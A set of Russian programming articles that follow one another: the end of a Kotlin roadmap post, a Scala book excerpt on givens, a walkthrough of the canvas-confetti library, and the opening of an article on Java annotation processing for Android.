В IDE планируется определенная подсветка контрактов и автогенерация, где это будет возможно.
Аннотации для управления type inference
---------------------------------------
В *stdlib* Котлина уже есть различные фичи, которые используются только внутри. Некоторыми из них разработчики готовы поделиться. Рассмотрим новые аннотации и возможности, которые они предоставляют:
### `@NoInfer`
Аннотация `@NoInfer` призвана делать *type inference* немного умнее.
Допустим, мы хотим отфильтровать коллекцию, используя метод `filterIsInstance`. В данном методе важно указать тип, по которому будет выполняться фильтрация, но компилятор может допустить вызов и без прописывания типа (попытаясь его вывести). Если же в сигнатуре использовать `@NoInfer`, то вызов без типа выделится, как ошибка.
```
fun print(c: Collection) { ... }
val c: Collection
print(c.filterIsInstance()) //ошибка
print(c.filterIsInstance())
fun Iterable<\*>.filterIsInstance(): List<@NoInfer R>
```
### `@Exact`
Эта аннотация очень похожа на `@NoInfer`. Она сообщает, что тип должен быть точно равен указанному, то есть не "подтип" и не "надтип".
### `@OnlyInputTypes`
Данная аннотация указывает, что только типы, которые были у пользователя в аргументах или в ресивере, должны быть результатами *inference*.
SAM для Java методов
--------------------
Еще одна разрабатываемая возможность упрощает работу с SAM. Рассмотрим пример:
```
//Java
static void test(Factory f, Runnable r)
interface Factory {
String produce();
}
//Kotlin
fun use(f: Factory) {
test(f) { } // Factory != () -> String
}
```
В Java объявлен метод, принимающий два функциональных интерфейса. Логично, что на уровне Котлина мы должны иметь возможность вызывать этот метод, передавая как объекты-реализации интерфейсов, так и лямбда-выражения, соответствующие сигнатурам методов этих интерфейсов в любых сочетаниях:
```
1. test(Factory, Runnable)
2. test(Factory, () -> Unit)
3. test(() -> String, Runnable)
4. test(() -> String, () -> Unit)
```
Сейчас варианты 2. и 3. невозможны. Компилятор Котлина допускает только два варианта: принимающий два интерфейса и принимающий две лямбды.
Сделать возможными все 4 варианта при текущей реализации компилятора — сложная задача, но не невыполнимая. В новой системе *type inference* будет поддержка таких ситуаций. В среде будет видна только одна функция `fun test(Factory, Runnable)`, но передавать можно будет как лямбды, так и объекты-реализации интерфейсов в любом сочетании.
SAM для Kotlin методов и интерфейсов
------------------------------------
В случае, если в Котлине определен метод, принимающий Котлин-интерфейс, то чтобы происходила автоматическая конверсия (можно передавать как реализацию интерфейса, так и лямбду), необходимо пометить интерфейс ключевым словом `sam`.
```
sam interface Predicate {
fun test(t: T): Boolean
}
fun Collection.filter(p: Predicate): Collection { ... }
fun use() {
test { println("Hello") }
val l = listOf(-1, 2, 3)
l.filter { it > 0 }
}
```
Для Java интерфейсов конверсия будет работать всегда.
Smart inference для билдеров
----------------------------
Представим, что мы хотим написать билдер:
```
fun buildList(l: MutableList.() -> Unit): List { ... }
```
И хотим его использовать вот так:
```
val list = buildList {
add("one")
add("two")
}
```
В данный момент это невозможно, так как тип `T` не выводится из вызовов `add(String)`. Поэтому приходится писать так:
```
val list = buildList {
add("one")
add("two")
}
```
Планируется, что можно будет использовать первый вариант (без явного указания типа).
Изменения в схеме компилятора
-----------------------------
В JetBrains ведется активная работа над Kotlin Native. Как следствие появилось еще одно звено в схеме компилятора — *Back-end Internal Representation (BE IR)*.
BE IR — это промежуточное представление, содержащее всю семантику исходного кода, который может быть скомпилирован под исполняемые файлы любой платформы, включая бинарный код системы. Сейчас BE IR используется только в Kotlin Native, но его планируется использовать для всех платформ, вместо *PSI* с дополнительной информацией о семантике. Для JVM и JS уже есть прототипы, и они активно дорабатываются.
В итоге весь исходный код будет преобразовываться в BE IR, а затем в исполняемые файлы целевой платформы.
Резюме
------
Как было написано выше, неизвестно, какие новшества дойдут до релиза, в каком виде и в какой версии языка. Есть только текущие планы команды Kotlin, но **разработчики никаких гарантий не дают**:
* Релиз и финализация API корутин — 1.3
* Inline классы — экспериментальная возможность в 1.3
* Беззнаковая арифметика — экспериментальная возможность в 1.3 или 1.4
* @JvmDefault — экспериментальная возможность в 1.2.x, релиз в 1.3
* Метаинформация для DFA и смарткастов — частично релиз в 1.3
* Аннотации для управления type inference — экспериментальная возможность в 1.2.x
* Новый движок type inference (включая SAM и Smart inference для билдеров) — экспериментальная возможность в 1.3
Kotlin — без сомнения, состоявшийся язык программирования, но с увеличением пользовательской базы расширяется и спектр его применения. Появляются новые требования, платформы и варианты использования. Накапливается старый код, который требуется поддерживать. Разработчики языка понимают сложности и проблемы и работают с ними, в результате новые версии позволят еще удобнее им пользоваться в большем количестве ситуаций. | https://habr.com/ru/post/351516/ | null | ru | null |
# Scala. Профессиональное программирование. 5-е изд. Гивены
[](https://habr.com/ru/company/piter/blog/671356/) Привет, Хабр! Сдали в типографию новую книгу «[Scala. Профессиональное программирование. 5-е изд.](https://www.piter.com/product/scala-professionalnoe-programmirovanie-5-e-izd)». «Scala. Профессиональное программирование» — главная книга по Scala, популярному языку для платформы Java, в котором сочетаются концепции объектно-ориентированного и функционального программирования, благодаря чему он превращается в уникальное и мощное средство разработки. Этот авторитетный труд, написанный создателями Scala, поможет вам пошагово изучить язык и идеи, лежащие в его основе. Пятое издание значительно обновлено, чтобы охватить многочисленные изменения, появившиеся в Scala 3.
**Целевая аудитория**
Книга в основном рассчитана на программистов, желающих научиться программировать на Scala. Если у вас есть желание создать свой следующий проект на этом языке, то наша книга вам подходит. Кроме того, она должна заинтересовать программистов, которые хотят расширить кругозор, изучив новые концепции. Если вы, к примеру, программируете на Java, то эта книга раскроет для вас множество концепций функционального программирования, а также передовых идей из сферы объектно-ориентированного программирования. Мы уверены: изучение Scala и заложенных в этот язык идей поможет вам повысить свой профессиональный уровень как программиста. Предполагается, что вы уже владеете общими знаниями в области программирования. Scala вполне подходит на роль первого изучаемого языка, однако это не та книга, которая может использоваться для обучения программированию. В то же время вам не нужно быть каким-то особенным знатоком языков программирования. Большинство людей использует Scala на платформе Java, однако наша книга не предполагает, что вы тесно знакомы с языком Java. Но все же мы ожидаем, что Java известен многим читателям, и поэтому иногда сравниваем оба языка, чтобы помочь таким читателям понять разницу.
**Об авторах**
Мартин Одерски, создатель языка Scala, — профессор в Федеральной политехнической школе Лозанны, Швейцария (EPFL), и основатель Lightbend, Inc. Работает над языками программирования и системами, в частности над темой совмещения объектно-ориентированного и функционального подходов. С 2001 года сосредоточен на проектировании, реализации и улучшении Scala. Внес вклад в разработку Java как соавтор обобщенных типов и создатель текущего эталонного компилятора javac. Мартину было присвоено звание действительного члена ACM.
Лекс Спун — разработчик программного обеспечения в компании Square Inc., создающей простое в использовании программное обеспечение для бизнеса и мобильных платежей. Занимался Scala на протяжении двух лет в ходе постдокторантуры в EPFL. Помимо Scala, участвовал в разработке самых разнообразных языков, включая динамический язык Smalltalk, научный язык X10 и логический язык CodeQL.
Билл Веннерс — президент Artima, Inc., занимающейся консалтингом, курсами, книгами и инструментами для работы со Scala. Автор книги Inside the Java Virtual Machine про архитектуру и внутреннее устройство платформы Java. Билл представляет сообщество в Scala Center и является ведущим разработчиком и проектировщиком фреймворка тестирования ScalaTest и библиотеки Scalactic, предназначенной для функционального и объектно-ориентированного программирования.
Фрэнк Соммерс — основатель и президент компании Autospaces Inc., предоставляющей решения для автоматизации рабочих процессов в сфере финансовых услуг. Фрэнк ежедневно работает с языком Scala уже свыше двенадцати лет.
### Гивены
Поведение функции зачастую зависит от контекста, в котором она вызывается. Например, она может менять свое поведение в зависимости от контекстных данных, таких как системные свойства, разрешения безопасности, аутентифицированный пользователь, транзакция базы данных или заданное время ожидания. Функция также может зависеть от контекстного поведения — алгоритма, имеющего смысл в контексте, в котором эта функция вызывается. Например, функция сортировки может зависеть от алгоритма сравнения, который определяет, как упорядочивать сортируемые элементы. Разные контексты могут требовать разных алгоритмов сравнения.
Для предоставления функции такой контекстной информации и поведения существует множество приемов, однако в функциональном программировании решение традиционно сводится к одному: передавать все в качестве параметров. И хотя это вполне рабочий подход, у него есть недостаток: чем больше вы передаете функции данных и алгоритмов, тем более общей и полезной она становится, но при этом увеличивается количество аргументов, которые нужно указывать при каждом ее вызове. К сожалению, передача всего в виде параметров может быстро сделать ваш код повторяющимся и шаблонным.
В этой главе описываются контекстные параметры, которые часто называют гивенами (given). Они позволяют вам опускать некоторые аргументы при вызове функций, давая возможность компилятору подставить подходящие значения для каждого контекста в зависимости от типа.
#### Как это работает
Компилятор иногда меняет someCall(a) на someCall(a)(b) или SomeClass(a) на new SomeClass(a)(b), добавляя тем самым один или несколько недостающих списков параметров, чтобы сделать вызов функции завершенным. Предоставляются не отдельные параметры, а целые их каррированные списки. Например, если недостающий список параметров someCall состоит из трех значений, компилятор может подставить someCall(a)(b, c, d) вместо someCall(a). В этом случае подставленные идентификаторы, такие как b, c и d в (b, c, d), должны быть помечены как заданные (given) в месте их определения, а сам список параметров в определении someCall или someClass должен начинаться с using.
Представьте, к примеру, что у вас есть множество методов, принимающих приглашение командной строки (например, "$ " или "> "), которое предпочитает текущий пользователь. Вы можете сократить количество шаблонного кода, сделав запрос контекстным параметром. Для начала нужно создать специальный тип, инкапсулирующий строку с предпочитаемым приглашением:
```
class PreferredPrompt(val preference: String)
```
Далее нужно отредактировать каждый метод, который принимает приглашение, заменив параметр отдельным списком параметров с ключевым словом using. Например, у следующего объекта Greeter есть метод greet, который принимает PreferredPrompt в качестве контекстного параметра:
```
object Greeter:
def greet(name: String)(using prompt: PreferredPrompt) =
println(s"Welcome, $name. The system is ready.")
println(prompt.preference)
```
Чтобы компилятор мог неявно подставлять контекстный параметр, вы должны определить given-экземпляр ожидаемого типа (в данном случае PreferredPrompt) с использованием ключевого слова given. Это можно сделать в объекте настроек, как показано далее:
```
object JillsPrefs:
given prompt: PreferredPrompt =
PreferredPrompt("Your wish> ")
```
Теперь компилятор может автоматически подставлять этот экземпляр PreferredPrompt, но только при условии, что тот находится в области видимости:
```
scala> Greeter.greet("Jill")
1 |Greeter.greet("Jill")
| ˆ
|no implicit argument of type PreferredPrompt was found
|for parameter prompt of method greet in object Greeter
```
Если сделать этот объект доступным, он будет использоваться для предоставления недостающего списка параметров:
```
scala> import JillsPrefs.prompt
scala> Greeter.greet("Jill")
Welcome, Jill. The system is ready.
Your wish>
```
Поскольку приглашение командной строки объявлено в качестве контекстного параметра, оно не скомпилируется, если вы попытаетесь передать аргумент как обычно, явным образом:
```
scala> Greeter.greet("Jill")(JillsPrefs.prompt)
1 |Greeter.greet("Jill")(JillsPrefs.prompt)
|ˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆˆ
|method greet in object Greeter does not take more
|parameters
```
Вместо этого вам следует указать, что вы хотите явно подставить контекстный параметр, используя в момент вызова ключевое слово using, как показано ниже:
```
scala> Greeter.greet("Jill")(using JillsPrefs.prompt)
Welcome, Jill. The system is ready.
Your wish>
```
Обратите внимание на то, что ключевое слово using относится не к отдельным параметрам, а ко всему списку. В листинге 21.1 показан пример, в котором второй список параметров метода greet из объекта Greeter (который опять же помечен как using) состоит из двух элементов:
prompt (типа PreferredPrompt) и drink (типа PreferredDrink).
**Листинг 21.1. Неявный список с несколькими параметрами**
```
class PreferredPrompt(val preference: String)
class PreferredDrink(val preference: String)
object Greeter:
def greet(name: String)(using prompt: PreferredPrompt,
drink: PreferredDrink) =
println(s"Welcome, $name. The system is ready.")
print("But while you work, ")
println(s"why not enjoy a cup of ${drink.preference}?")
println(prompt.preference)
object JoesPrefs:
given prompt: PreferredPrompt =
PreferredPrompt("relax> ")
given drink: PreferredDrink =
PreferredDrink("tea")
```
Объект-одиночка объявляет два given-экземпляра: prompt типа PreferredPrompt и drink типа PreferredDrink. Но, как и прежде, они не будут использоваться для подстановки недостающего списка параметров в greet, если они находятся вне области видимости:
```
scala> Greeter.greet("Joe")
1 |Greeter.greet("Joe")
| ˆ
|no implicit argument of type PreferredPrompt was found
|for parameter prompt of method greet in object Greeter
```
Вы можете сделать оба given-экземпляра из листинга 21.1 доступными с помощью инструкции import:
```
scala> import JoesPrefs.{prompt, drink}
```
Поскольку и prompt, и drink теперь находятся в области видимости в качестве отдельных идентификаторов, вы можете использовать их для явного предоставления последнего списка параметров:
```
scala> Greeter.greet("Joe")(using prompt, drink)
Welcome, Joe. The system is ready.
But while you work, why not enjoy a cup of tea?
relax>
```
И поскольку ваши контекстные параметры теперь удовлетворяют всем правилам, вы можете также позволить компилятору Scala подставить prompt и drink автоматически, целиком опустив весь список параметров:
```
scala> Greeter.greet("Joe")
Welcome, Joe. The system is ready.
But while you work, why not enjoy a cup of tea?
relax>
```
Одной из особенностей предыдущих примеров является то, что мы не использовали String в качестве типа для prompt или drink, хотя в итоге оба этих значения предоставили именно String через свои поля preference. Поскольку компилятор выбирает контекстные параметры путем сопоставления типов параметров и типов given-экземпляров, контекстные параметры должны иметь достаточно редкие, или особенные типы, которые делают случайное совпадение маловероятным. Например, типы PreferredPrompt и PreferredDrink в листинге 21.1 были определены исключительно для контекстных параметров. В результате given-экземпляры этих типов, скорее всего, не будут существовать, если только они не предназначены для использования в качестве контекстных параметров для таких методов, как greet.
#### Параметризованные given-типы
Контекстные параметры, наверное, чаще всего используются для предоставления информации о типе, явно указанном в предыдущем списке параметров, подобно классам типов (type class) в Haskell. Это важный механизм достижения специального полиморфизма (ad hoc polymorphism) при написании функций в Scala: ваши функции можно применять к значениям с подходящими типами, но при использовании для значений любых других типов код не скомпилируется. Представьте, к примеру, двухстрочную сортировку вставками, показанную в листинге 14.1. Это определение isort работает только для списка целых чисел. Чтобы сортировать списки других типов, вам нужно сделать тип аргумента isort более общим. Для этого первым делом можно ввести параметр типа, T, и подставить его вместо Int в параметре типа List:
```
// Не компилируется
def isort[T](xs: List[T]): List[T] =
if xs.isEmpty then Nil
else insert(xs.head, isort(xs.tail))
def insert[T](x: T, xs: List[T]): List[T] =
if xs.isEmpty || x <= xs.head then x :: xs
else xs.head :: insert(x, xs.tail)
```
Но, попытавшись скомпилировать isort после внесения этого изменения, вы получите от компилятора следующее сообщение:
```
6 | if xs.isEmpty || x <= xs.head then x :: xs
| ˆˆˆˆ
| value <= is not a member of T, ...
```
Если класс Int определяет метод <=, устанавливающий, является ли одно целое число меньше или равно другому, то для других типов могут потребоваться альтернативные стратегии сравнения или же их и вовсе нельзя сравнивать. Чтобы метод isort мог работать со списками, элементы которых имеют типы, отличные от Int, ему нужно предоставить чуть больше информации, позволяющей определить способ сравнения двух элементов.
Чтобы решить эту проблему, методу isort можно передать функцию «меньше или равно», подходящую для типа List. Эта функция должна принимать два экземпляра T и возвращать значение Boolean, указывающее на то, является ли первый экземпляр T меньше или равным второму:
```
def isort[T](xs: List[T])(lteq: (T, T) => Boolean): List[T] =
if xs.isEmpty then Nil
else insert(xs.head, isort(xs.tail)(lteq))(lteq)
def insert[T](x: T, xs: List[T])
(lteq: (T, T) => Boolean): List[T] =
if xs.isEmpty || lteq(x, xs.head) then x :: xs
else xs.head :: insert(x, xs.tail)(lteq)
```
Теперь вместо <= вспомогательная функция insert использует параметр lteq для сравнения двух элементов во время сортировки. Это позволяет сортировать список любого типа T, главное — предоставить методу isort функцию сравнения, которая подходит для T. Например, с помощью этой версии isort можно сортировать списки Int, String и класса Rational, представленного в листинге 6.5:
```
isort(List(4, -10, 10))((x: Int, y: Int) => x <= y)
// List(-10, 4, 10)
isort(List("cherry", "blackberry", "apple", "pear"))
((x: String, y: String) => x.compareTo(y) <= 0)
// List(apple, blackberry, cherry, pear)
isort(List(Rational(7, 8), Rational(5, 6), Rational(1, 2)))
((x: Rational, y: Rational) =>
x.numer * y.denom <= x.denom * y.numer)
// List(1/2, 5/6, 7/8)
```
Как уже описывалось в разделе 14.10, компилятор Scala последовательно определяет типы параметров в каждом списке, продвигаясь слева направо. Таким образом, он может определить типы x и y, указанные во втором списке параметров, исходя из типа элемента T экземпляра List[T], переданного в первом списке параметров:
```
isort(List(4, -10, 10))((x, y) => x <= y)
// List(-10, 4, 10)
isort(List("cherry", "blackberry", "apple", "pear"))
((x, y) => x.compareTo(y) < 1)
// List(apple, blackberry, cherry, pear)
isort(List(Rational(7, 8), Rational(5, 6), Rational(1, 2)))
((x, y) => x.numer * y.denom <= x.denom * y.numer)
// List(1/2, 5/6, 7/8)
```
Теперь функция isort полезна в более общем смысле, однако за эту обобщенность приходится платить потерей лаконичности: при каждом вызове необходимо указывать функцию сравнения, которую определение isort теперь должно передавать каждому рекурсивному вызову isort, а также каждому вызову вспомогательной функции insert. Эта версия isort больше не является простым выражением сортировки, как прежде.
Вы можете сделать более лаконичной как реализацию метода isort, так и его вызовы, если оформите функцию сравнения в виде контекстного параметра. Вы могли бы использовать контекстный параметр (Int, Int) => Boolean, но этот тип слишком общий, что делает его не самым оптимальным решением. У вашей программы, к примеру, может быть много функций, которые принимают целочисленные параметры и возвращают логическое значение, но при этом не имеют ничего общего с сортировкой. Поскольку поиск given-значений происходит по типу, вы должны позаботиться о том, чтобы тип вашего given-экземпляра выражал его назначение.
Определение типов с определенным назначением, таким как сортировка, обычно является хорошим решением, но, как упоминалось ранее, некоторые типы становятся особенно полезными при использовании контекстных параметров. Помимо гарантии использования подходящего given-экземпляра, тщательно определенные типы могут помочь вам более ясно выразить ваши намерения. Это позволяет вам развивать ваши программы постепенно, расширяя типы за счет дополнительного функционала, но не нарушая при этом существующие между ними контракты. Вы можете определить тип, чтобы выбрать, в каком порядке должны размещаться два элемента:
```
trait Ord[T]:
def compare(x: T, y: T): Int
def lteq(x: T, y: T): Boolean = compare(x, y) < 1
```
Этот трейт реализует функцию «меньше или равно» в виде более общего абстрактного метода compare. Контракт этого метода состоит в том, что он возвращает 0, если два параметра равны, положительное целое число, если первый параметр больше второго, и отрицательное целое число, если второй параметр больше первого. Теперь, имея это определение, вы можете указать стратегию сравнения для T, используя Ord[T] в качестве контекстного параметра, как показано в листинге 21.2.
**Листинг 21.2. Контекстные параметры, передаваемые с помощью using**
```
def isort[T](xs: List[T])(using ord: Ord[T]): List[T] =
if xs.isEmpty then Nil
else insert(xs.head, isort(xs.tail))
def insert[T](x: T, xs: List[T])
(using ord: Ord[T]): List[T] =
if xs.isEmpty || ord.lteq(x, xs.head) then x :: xs
else xs.head :: insert(x, xs.tail)
```
Как уже описывалось ранее, чтобы параметры можно было передавать неявно, перед ними нужно указать using. После этого вам больше не нужно предоставлять эти параметры вручную при вызове функции: если доступно значение подходящего типа, компилятор возьмет его и передаст вашей функции. Чтобы сделать значение given-экземпляром типа, его следует объявить с помощью ключевого слова given.
Хорошим местом для размещения given-экземпляров, представляющих «естественный» вариант использования типа, такой как сортировка целых чисел в порядке возрастания, является объект-компаньон «вовлеченного» типа. Например, естественный given-экземпляр Ord[Int] можно было бы разместить в объекте-компаньоне для Ord или Int — двух типов, «фигурирующих» в Ord[Int]. Если компилятор не найдет given-экземпляр Ord[Int] в лексической области видимости, он проведет дополнительный поиск в этих двух объектах-компаньонах. Поскольку компаньон Int не подлежит изменению, лучшим выбором является компаньон Ord:
object Ord:
```
// (Пока что не является устоявшимся решением)
given intOrd: Ord[Int] =
new Ord[Int]:
def compare(x: Int, y: Int) =
if x == y then 0 else if x > y then 1 else 1
```
Все примеры given-объявлений, показанные до сих пор в этой главе, называются псевдонимными (alias). Имя по левую сторону от знака равенства является псевдонимом значения, указанного справа. Поскольку при объявлении псевдонимного given-экземпляра справа от знака равенства зачастую определяют анонимный экземпляр трейта или класса, Scala предлагает сокращенный синтаксис, который позволяет подставить вместо знака равенства и «имени нового класса» ключевое слово with. В листинге 21.3 показано более компактное определение intOrd.
**Листинг 21.3. Объявление естественного given-экземпляра в компаньоне**
```
object Ord:
// Общепринятое решение
given intOrd: Ord[Int] with
def compare(x: Int, y: Int) =
if x == y then 0 else if x > y then 1 else 1
```
Теперь, когда в объекте Ord имеется given-экземпляр Ord[Int], сортировка с использованием isort снова становится лаконичной:
```
isort(List(10, 2, -10))
// List(-10, 2, 10)
```
Если опустить второй параметр isort, компилятор начнет искать для него заданное значение с учетом его типа. Если речь идет о сортировке значений Int, этим типом будет Ord[Int]. Вначале компилятор поищет given-экземпляр Ord[Int] в лексической области видимости, и, если его там не обнаружится, он пройдется по объектам-компаньонам вовлеченных типов Ord и Int. Поскольку в листинге 21.3 заданное значение intOrd имеет явно указанный тип, компилятор подставит intOrd вместо недостающего списка параметров.
Для сортировки строк достаточно предоставить given-экземпляр для параметра, предназначенного для сравнения строковых значений:
```
// Добавлено в объект Ord
given stringOrd: Ord[String] with
def compare(s: String, t: String) = s.compareTo(t)
```
Теперь, когда в компаньоне Ord определен given-экземпляр Ord[String], вы можете использовать isort для сортировки списков строк:
```
isort(List("mango", "jackfruit", "durian"))
// List(durian, jackfruit, mango)
```
Если заданное объявление не принимает параметризованные значения, given-экземпляр инициализируется при первом к нему обращении, что похоже на ленивые значения. Эта инициализация проводится потокобезопасным образом. Если же given-экземпляр принимает параметры, он создается заново при каждом обращении, подобно тому как ведет себя def. Действительно, компилятор Scala преобразует given-экземпляры в val или def, дополнительно делая их доступными для параметров using.
#### Анонимные given-экземпляры
Заданное объявление можно считать частным случаем ленивого val или def, однако оно обладает одной важной особенностью. При объявлении val, к примеру, нужно задать выражение, указывающее на значение val:
```
val age = 42
```
В этом выражении компилятор должен определить тип age. Поскольку для инициализации age используется значение 42, которое, как известно компилятору, имеет тип Int, для age будет выбран тот же тип. Вы фактически предоставляете выражение, age, а компилятор определяет его тип, Int.
С контекстными параметрами все наоборот: вы предоставляете тип, а компилятор синтезирует выражение, которое его представляет, с учетом доступных given-экземпляров, и затем использует это выражение автоматически, когда этот тип необходим. Это называется определением выражения (чтобы не путать с определением типа).
Поскольку компилятор ищет given-экземпляр по типу и зачастую на него вообще не нужно ссылаться, вы можете объявить свое given-значение анонимно. Вместо кода
```
given revIntOrd: Ord[Int] with
def compare(x: Int, y: Int) =
if x == y then 0 else if x > y then -1 else 1
given revStringOrd: Ord[String] with
def compare(s: String, t: String) = -s.compareTo(t)
```
можно написать
```
given Ord[Int] with
def compare(x: Int, y: Int) =
if x == y then 0 else if x > y then -1 else 1
given Ord[String] with
def compare(s: String, t: String) = -s.compareTo(t)
```
Компилятор автоматически синтезирует имена для этих анонимных given-экземпляров. Вместо второго параметра функции isort будет подставлено это синтезированное значение, которое затем станет доступным внутри функции. Таким образом, если вам нужно, чтобы given-экземпляр был неявно предоставлен в качестве контекстных параметров, вам не нужно объявлять для него выражение.
Оформить предзаказ бумажной книги можно на [нашем сайте](https://www.piter.com/product/scala-professionalnoe-programmirovanie-5-e-izd) | https://habr.com/ru/post/671356/ | null | ru | null |
# Конфетти на канвасе
Привет Хабр! Попалась недавно интересная вещичка , которая создает эффект конфетти на страничке. Решил глянуть , что же там внутри находится, как работает и познакомиться с канвасом поближе. Подробности под катом.
Вступление
----------
Повествование будет вестись с точки зрения человека, который первый раз в жизни увидел канвас ( ладно, второй, первой была [*вот эта статья с хабра про фрактальные снежинки*](https://habr.com/ru/company/microsoft/blog/110237/)) и хочет почерпнуть себе разные полезные моменты, которые , возможно, захочется использовать в будущем. Отталкивался от [исходного кода](https://github.com/catdad/canvas-confetti) библиотечки [canvas-confetti](https://www.skypack.dev/).
Настройки
---------
Удобно представить себе некую пушку, которая находится в некой точке ***origin***, наклонена под углом ***angle*** и стреляет зарядом в виде конуса, который отклоняется от направления выстрела влево и вправо на угол ***spread*** со скоростью ***startVelocity*** . Потом частицы начинают терять скорость в зависимости от сопротивления воздуха ***decay*** и падать под действием силы тяжести ***gravity***. Еще есть параметры для колличества частиц, цвета, формы, размера ( particleCount, colors, shapes, scalar). Достаточно добавить только интересующие опции, остальные подтянутся по умолчанию.
```
confetti({
particleCount: 100,
startVelocity: 30,
spread: 360,
origin: {
x: Math.random(),
y: Math.random() - 0.2
}
}
```
Полезные моменты внутри
-----------------------
Штука, которая обеспечивает 60 кадров в секунду с помощью ***requestAnimationFrame*** , если есть или откатывается к ***setTimeout***
```
var raf = (function () {
var TIME = Math.floor(1000 / 60);
var frame, cancel;
var frames = {};
var lastFrameTime = 0;
if (typeof requestAnimationFrame === 'function' && typeof cancelAnimationFrame === 'function') {
frame = function (cb) {
var id = Math.random();
frames[id] = requestAnimationFrame(function onFrame(time) {
if (lastFrameTime === time || lastFrameTime + TIME - 1 < time) {
lastFrameTime = time;
delete frames[id];
cb();
} else {
frames[id] = requestAnimationFrame(onFrame);
}
});
return id;
};
cancel = function (id) {
if (frames[id]) {
cancelAnimationFrame(frames[id]);
}
};
} else {
frame = function (cb) {
return setTimeout(cb, TIME);
};
cancel = function (timer) {
return clearTimeout(timer);
};
}
return { frame: frame, cancel: cancel };
}());
```
Заполнение канвасом всей видимой области странички с помощью ***createElement***, ***appendChild***, ***clientWidth***, ***clientHeight***
```
function getCanvas(zIndex) {
var canvas = document.createElement('canvas');
canvas.style.position = 'fixed';
canvas.style.top = '0px';
canvas.style.left = '0px';
canvas.style.pointerEvents = 'none';
canvas.style.zIndex = zIndex;
return canvas;
}
// .....
document.body.appendChild(canvas);
// .....
function setCanvasWindowSize(canvas) {
canvas.width = document.documentElement.clientWidth;
canvas.height = document.documentElement.clientHeight;
}
```
Получение двумерного контекста канваса с ***getContext***
```
var context = canvas.getContext('2d');
```
Чистка, которая происходит перед отрисовкой каждого кадра с помощью ***clearRect*** в методе *update*
```
context.clearRect(0, 0, size.width, size.height);
```
Для создания каждого кадра вызывается update, внутри которого для каждой "конфетиточки" вызывается код, который считает ее геометрические координаты и рисует ее с помощью методов контекста ***beginPath***, ***moveTo***, ***lineTo***, ***closePath*** и ***fill***. Также каждая фетишка отслеживает сколько у нее прошло кадров-апдейтов и потом, когда у всех фетишек закончатся кадры, анимация отрапортует о своем завершении.
```
function updateFetti(context, fetti) {
// ...
// пара десятков строк косинусов и синусов, которые посчитают новые координаты для конфетишки
// ...
context.fillStyle = 'rgba(' + fetti.color.r + ', ' + fetti.color.g + ', ' + fetti.color.b + ', ' + (1 - progress) + ')';
context.beginPath();
// ...
context.moveTo(Math.floor(fetti.x), Math.floor(fetti.y));
context.lineTo(Math.floor(fetti.wobbleX), Math.floor(y1));
context.lineTo(Math.floor(x2), Math.floor(y2));
context.lineTo(Math.floor(x1), Math.floor(fetti.wobbleY));
context.closePath();
context.fill();
// ...
// когда кадры закончатся фетишка отфильтруется из массива частиц для апдейта
return fetti.tick < fetti.totalTicks;
}
```
Заключение
----------
Надеюсь этот пост поможет кому-нибудь быстро ознакомится с рисованием на двумерном канвасе. В исходнике есть много полезного касательно анимации из воркера и геометрии. Желающие могут ознакомиться более детально по ссылке вначале статьи. | https://habr.com/ru/post/537760/ | null | ru | null |
# Обработка аннотаций в процессе компиляции
[](http://habrahabr.ru/company/e-Legion/blog/206208/)[Метапрограммирование](https://ru.wikipedia.org/wiki/Метапрограммирование) — вид программирования, связанный с созданием программ, которые порождают другие программы как результат своей работы (в частности, на стадии компиляции их исходного кода), либо программ, которые меняют себя во время выполнения.
Аннотации, как инструмент метапрограммирования появились вместе с релизом Java 5 в далеком 2004 году. Вместе с ними появился инструментарий [Annotation Processing Tool](http://docs.oracle.com/javase/7/docs/technotes/guides/apt/), на смену которому пришла спецификация JSR 269 или [Pluggable Annotation Processing API](https://www.jcp.org/en/jsr/detail?id=269). Что интересно, этой спецификации без малого 10 лет, но свою популярность в Android разработке она начала обретать только сейчас.
О возможностях, которые открывает эта спецификация мы поговорим чуть позже (будет мнооого кода), а сперва, не хотите ли поговорить о компиляции Java кода?
#### Пара слов о Javac
Весь процесс компиляции контролируется инструментарием из пакета com.sun.tools.javac и, согласно спецификациям OpenJDK, в общем случае, выглядит так:
* **Parse** — компилятор разбирает входной поток на последовательность лексем и формирует абстрактное синтаксическое дерево (AST) с помощью инструментов из пакета com.sun.tools.javac.parser.\*
* **Enter** — на данном этапе осуществляется проход по синтаксическому древу и создается таблица символов. Стоит отметить, что этот процесс состоит из двух фаз: на первой осуществляется проход по AST из фазы Parse, на второй проход по всем зависимостям (интерфейсы, супертипы, параметры).
* **Annotation processing** — об этой фазе, собственно, и пойдет речь в дальнейшем.
* **Attribute** — большая часть контекстно-зависимых операций выполняются во время этой фазы: разрешение имен, проверка типов, вычисление констант.
* **Flow** — на данном этапе происходит проверка потока данных, достижимости всех участков кода, что все перехватываемые исключения обработаны, что final переменные выставляются единожды и т. д.
* **Desugar** — удаление синтаксического сахара, замена внутренних классов, разворачивание foreach циклов.
* **Generate** — генерация .class файлов
#### Метапрограмиирование в Android
Где же в Android разработке нам может помочь метапрограммирование? Многие из вас уже знают ответ на этот вопрос — это немалое количество библиотек, которые так или иначе предлагают решения по инжектированию компонентов, установке слушателей и многое другое.
```
public class MainActivity extends AppCompatActivity {
@Bind(R.id.fab)
private FloatingActionButton mFab;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.ac_main);
mFab.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
}
});
ButterKnife.bind(this);
}
}
```
Какие проблемы есть в этом коде? Во-первых, он не соберется! Процесс компиляции будет прерван ошибкой
```
Error:(15, 34) error: @Bind fields must not be private or static. (moscow.droidcon2015.activity.MainActivity.mFab)
```
Отлично, убираем *private* и все, код собирается. Но, тем самым мы нарушаем один из основополагающих принципов [ООП](https://ru.wikipedia.org/wiki/Объектно-ориентированное_программирование) — [инкапсуляцию](https://ru.wikipedia.org/wiki/Инкапсуляция_(программирование)). Во-вторых, при запуске, приложение упадет с *NPE*, потому что поле *mFab* инициализируется в момент вызова *ButterKnife.bind(this)*. В-третьих, Proguard может вырезать классы, сгенерированные библиотекой ButterKnife. Вы можете сказать, что это все надуманные проблемы и они все решаются в течение пяти минут. Безусловно, это так, но было бы здорово — избавить себя от необходимости думать об этих возможных проблемах.
#### Вперед! К тяжелым веществам!
Итак, давайте же уже начнем изобретать велосипед! Первое, что нам потребуется, как ни странно, сама аннотация, которую мы в последствие будем обрабатывать:
```
@Retention(RetentionPolicy.SOURCE)
@Target({ElementType.FIELD})
